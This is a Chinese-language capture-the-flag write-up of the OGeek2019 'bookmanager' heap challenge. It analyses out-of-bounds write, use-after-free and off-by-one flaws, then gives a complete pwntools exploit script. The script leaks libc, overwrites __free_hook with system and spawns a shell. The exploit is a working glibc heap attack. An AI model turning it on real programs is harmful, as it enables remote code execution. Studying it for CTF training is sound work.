OGeek2019-bookmanager

总结

本题比较简单,就是题目流程比较复杂一点,用到的知识点就一个:

  • chunk被放置到unsorted bin中时,其fd指针会指向main_arena+88这个地址,可以用来泄露libc地址

checksec

image-20210602000302796

保护全开,题目运行环境为ubuntu 16.04libc-2.23.so

题目分析

题目实现了对书的管理,包括章节、主题等。书所需要的内存都是从堆上分配的。

首先,分配0x90大小的内存,存放书的信息,结构如下:

image-20210602002248381

然后,每一个章节的结构,也是0x90大小的chunk,内存布局如下:

image-20210602001849886

然后每个section都是大小为0x40chunk,其内存布局如下:

image-20210602002137066

text_ptr对应的大小由用户指定,输入大小不超过0x100

漏洞分析

漏洞点有4处,有两处在add_text函数中:

image-20210602002547948

40行可以输入负数绕过校验,第4547行,如果输入小于0x100的正数,则会越界写。

第三处在remove_section函数中:

image-20210602002743952

这里存在一个UAF漏洞。

第四出在updapte函数中:

image-20210602002906056

同样是会越界写,指定了写的大小为0x100

其实还有一个,就是我标注的read_off_by_one函数,会越界写一个字节。但是也要注意,这个函数里有memset(addr, 0, len),会把内存置为0

利用思路

利用思路很多,因为题目漏洞给得实在是太多了,分享我的利用过程如下:

  • 分配一个0x100大小的chunk,作为一个存储text的内存块,前面紧挨着一个0x90的内存块,可以被用作chapter
  • 使用掉高地址的chapter,然后update低地址的text块。由于会把0xff的内存刷为0,所以必须要构造0x100大小的text内存块。直接填满0x100a后。
  • 使用book_preview,就会打印出unsorted binfd内容,得到libc地址
  • update的越界写,修改某个sectiontext_ptr指针,修改为__free_hook的地址
  • 然后update那个sectiontext,就是在往__free_hook写内容,填上system地址
  • 释放带有/bin/sh的内存块,即可获得shell

最终EXP

泄露地址

image-20210602004334827

修改text_ptr

image-20210602004445217

修改__free_hooksystem地址

image-20210602004559633

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

LOG_ADDR = lambda x, y: info("{} ===> {}".format(x, hex(y)))

sh = process("./pwn")

libc = ELF('libc-2.23.so')

context.update(arch="amd64", os="linux", endian="little")

def add_book(book_name):
    sh.sendlineafter("Name of the book you want to create: ", book_name)


def add_chapter(chapter_name="abc"):
    assert len(chapter_name) <= 20, "len error!"
    sh.sendlineafter("\nYour choice:", "1")
    sh.sendlineafter("\nChapter name:", chapter_name)


def add_section(chapter_name="abc", section_name="123"):
    sh.sendlineafter("\nYour choice:", "2")
    sh.sendlineafter("\nWhich chapter do you want to add into:", chapter_name)
    leak_msg = sh.recvline()
    log.info("msg recv===>{}".format(leak_msg))
    sh.sendlineafter("Section name:", section_name)
    return leak_msg


def add_text(section_name="123", size:int=0x80, text="a"):
    sh.sendlineafter("\nYour choice:", "3")
    sh.sendlineafter("\nWhich section do you want to add into:", section_name)
    sh.sendlineafter("\nHow many chapters you want to write:", str(size))
    sh.sendlineafter("\nText:", text)


def remove_chapter(chapter_name="abc"):
    sh.sendlineafter("\nYour choice:", "4")
    sh.sendlineafter("\nChapter name:", chapter_name)


def remove_section(section_name="123"):
    sh.sendlineafter("\nYour choice:", "5")
    sh.sendlineafter("\nSection name:", section_name)


def remove_text(section_name="123"):
    sh.sendlineafter("\nYour choice:", "6")
    sh.sendlineafter("\nSection name:", section_name)


def book_preview():
    sh.sendlineafter("\nYour choice:", "7")
    sh.recvuntil("\nBook:")
    msg = sh.recvuntil("\n==========================")
    log.info("msg recv:{}".format(msg))
    return msg

def update(mode=0, old_name="abc", new_name="efg"):
    sh.sendlineafter("\nYour choice:", "8")
    sh.recvuntil("\nWhat to update?(Chapter/Section/Text):")
    if mode == 0:
        sh.sendline("Chapter")
        sh.sendlineafter("\nChapter name:", old_name)
        sh.sendlineafter("\nNew Chapter name:", new_name)
        sh.recvuntil("\nUpdated")
    elif mode == 1:
        sh.sendline("Section")
        sh.sendlineafter("\nSection name:", old_name)
        sh.sendlineafter("\nNew Section name:", new_name)
        sh.recvuntil("\nUpdated")
    else:
        sh.sendline("Text")
        sh.sendlineafter("\nSection name:", old_name)
        sh.sendafter("\nNew Text:", new_name)
        sh.recvuntil("\nUpdated")


# leak libc addr
add_book("xxe")
add_chapter("a")
add_section("a", "a.a")
add_text("a.a", 0xf0, "a.a.a")
add_chapter("b")
add_section("b", "b.a")
remove_chapter("b")
update(2, "a.a", "a" * 0x100)
msg = book_preview()
idx = msg.index(b"\x7f")
leak_libc_addr = u64(msg[idx-5:idx + 1].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr

# recover
update(2, "a.a", flat("a"*0xf0, 0, 0x91))
add_chapter("b")
add_section("b", "b.a")
remove_text("a.a")
add_text("a.a", 0xb0, "a.a.b")

# change section's text_ptr
add_section("a", "/bin/sh")
layout = [0xb0 * "a", 0, 0x41, 
        "/bin/sh".ljust(8, "\x00"), [0] * 3, libc.sym["__free_hook"], 32]
update(2, "a.a", flat(layout, length=0x100, filler="\x00"))

# fill system addr at __free_hook
update(2, "/bin/sh", flat([libc.sym['system']], length=0x100, filler="\x00"))

# get shell
remove_section("/bin/sh")

sh.interactive()

远程打:

image-20210602004700278

引用与参考

1、My Blog

2、Ctf Wiki

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%